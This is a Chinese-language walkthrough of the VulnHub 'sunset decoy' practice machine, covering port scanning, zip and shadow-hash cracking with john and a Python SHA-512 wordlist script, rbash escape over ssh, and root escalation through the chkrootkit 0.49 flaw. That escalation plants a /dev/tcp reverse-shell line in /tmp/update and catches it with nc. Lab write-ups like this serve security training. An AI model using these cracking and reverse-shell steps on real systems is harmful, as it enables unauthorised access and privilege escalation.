vulnhub:sunset decoy

靶机下载地址https://www.vulnhub.com/entry/sunset-decoy,505/

渗透过程

简单信息收集

复制代码
nmap 192.168.56.0/24 -Pn
# 确定靶机ip:192.168.56.121
nmap 192.168.56.121 -A -T4
# 得到开放端口22,80

在80端口得到save.zip,需要密码解压。

john破解压缩包密码

复制代码
zip2john save.zip > hash.txt
john hash.txt

得到密码manuel

shadow密码破解

解压后得到/etc/文件夹,内有shadow文件,尝试破解用户密码。

root外存在用户296640a3b825115a47b68fc44501c828

复制代码
296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::

密文是$6开头,所以加密方式是SHA-512

网上找到一个破解脚本。

复制代码
# coding=utf-8
import crypt
​
shadow_file = "/etc/shadow"                   # 获取系统密码路径
password_file = "/usr/share/wordlists/rockyou.txt"    # 自己的密码文件,里面放的是明文密码
​
​
def get_pass(shadow_file):
    used = {}                           # key是用户,value是对应的密文
    f = open(shadow_file, "r")        # 读取系统密码文件
    userline = f.readlines()            # 将该文件转换为列表格式
    f.close()
    for item in userline:                  # 遍历列表里的内容
        if len(item.split(":")[1]) > 3:    # 以":"分割,取第二个元素的长度,也就是完整密文值的长度,如果大于3,我们认定它有密码,把它取出来
            used[item.split(":")[0]] = item.split(":")[1]  # 我们将取出的密文给了相应的用户,这里的used[i.split(":")[0]]是字典的key,也就是系统中的用户名,后面的i.split(":")[1]是用户名后的加密密文
    return used
​
​
# 提取自己的密码文件中的明文密码
def look_d(password_file):
    f = open(password_file, 'r')
    mwlist = f.readlines()              # 将读取的内容转换为列表
    f.close()
    for i, item in enumerate(mwlist):
        mwlist[i] = item.strip("\n")    # 去除每一行的换行符
    return mwlist  # 返回这个列表
​
​
# 根据密文是否相同判断出对应的用户和密码
def main(user_passfile, zidian):
    used = get_pass(user_passfile)      # 获取用户和对用的加密密文
    mingwen = look_d(zidian)            # 获取所有的明文密码
    for user in used:
        passwd = used[user]             # 一次遍历每个用户的密文
        salt = "$6$" + passwd.split("$")[2]  # 获取盐值
        for passwdmw in mingwen:        # 遍历系统中的每个完整密文
            if passwd == crypt.crypt(passwdmw.rstrip(), salt):  # 如果我们猜想的密文与系统中的密文相同,输入它的用户名和密码
                print("userName:%s passWord:%s" % (user, passwdmw.rstrip()))
​
​
if __name__ == "__main__":
    main(shadow_file, password_file)

get密码:server

rbash逃逸

ssh远程登录后发现是rbash,即restricted shell,受限制的bash,体现为

  • 不能使用cd命令。

  • 不能使用>,<>,>>等重定向操作符。

  • 不能设置或取消环境变量。

rbash逃逸有很多种方式,这里测试后适用的是ssh登录时逃逸 (借助-t远程在远程机器上运行脚本)

复制代码
ssh 296640a3b825115a47b68fc44501c828@192.168.56.121 -t "bash --noprofile"

# 不加载用户配置
# -t "bash --noprofile"

rbash逃逸成功后发现仍、cat、vim等命令依旧无法使用,

需要配置环境变量。

复制代码
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

完美解决,get user.txt。

用户目录内容如下:

存在一个root用户创建的honeypot.decoy可执行文件,他有8个功能,其中除选项五之外都是简单易懂的功能,选择选项五后无回显,不清楚具体作用。

rbash逃逸部分参考rbash逃逸大全-先知社区 (aliyun.com)

chkrootkit提权

SV-502/目录下的logs文件中发现一个可疑点,chkrootkit,这是一个后门检测工具。

搜索发现,chkrootkit 0.49版本有漏洞。searchsploit漏洞库搜索一下,searchsploit chkrootkit,锁定到33899.txt。

了解后知道,满足两点即可利用该漏洞获取root权限:

  • 如果目标机器管理员会定期运行chkrootkit。

  • 非root用户对/tmp/目录有写权限。(可以再该目录下创建有执行权限update文件)。

此处具体提权流程如下:

  1. 在tmp目录下创建update文件,并写入反弹shell。

    复制代码
    touch /tmp/update
    ​
    chmod +x /tmp/update
    ​
    echo "bash -c 'exec bash -i &>/dev/tcp/ip/4444 <&1'" > /tmp/update
  2. 运行chkrootkit,首先查看是否有这个定时任务❌;想到用户目录下那个可执行文件honeypot.decoy,执行后有8个选项,其中第五个选项意味不明Launch an AV Scan.,但是根据Scan有理由怀疑该选项就是执行chkrootkit。简单测试一下,选择选项五后使用ps -aux | grep chk验证发现运行了chkrootkit✔️

因此,提权操作如下:

复制代码
# 靶机
./honeypot.decoy
5
# 攻击机
nc -lvvp 4444

提权成功。

相关推荐
Xの哲學2 小时前
Linux链路聚合深度解析: 从概念到内核实现
linux·服务器·算法·架构·边缘计算
代码游侠2 小时前
应用——管道与文件描述符
linux·服务器·c语言·学习·算法
白帽子黑客罗哥2 小时前
零基础使用网络安全工具的方法
安全·web安全·网络安全·渗透测试·漏洞挖掘·工具
wefg12 小时前
【Linux】环境变量
linux·运维·服务器
扫地生大鹏2 小时前
Linux登录用户名密码正确,报错Linux 登录报module is unknow
linux·运维·服务器
可爱又迷人的反派角色“yang”2 小时前
ansible基本命令与剧本编写(二)
linux·运维·ansible
老王熬夜敲代码2 小时前
linux系统IO
linux·笔记
stars-he2 小时前
FPGA学习笔记(6)逻辑设计小结与以太网发送前置
笔记·学习·fpga开发
Thexhy2 小时前
基础篇:Redis核心命令及用法
java·linux·redis
不染尘.2 小时前
虚拟网络环境及socket概述
linux·c语言·网络·windows·计算机网络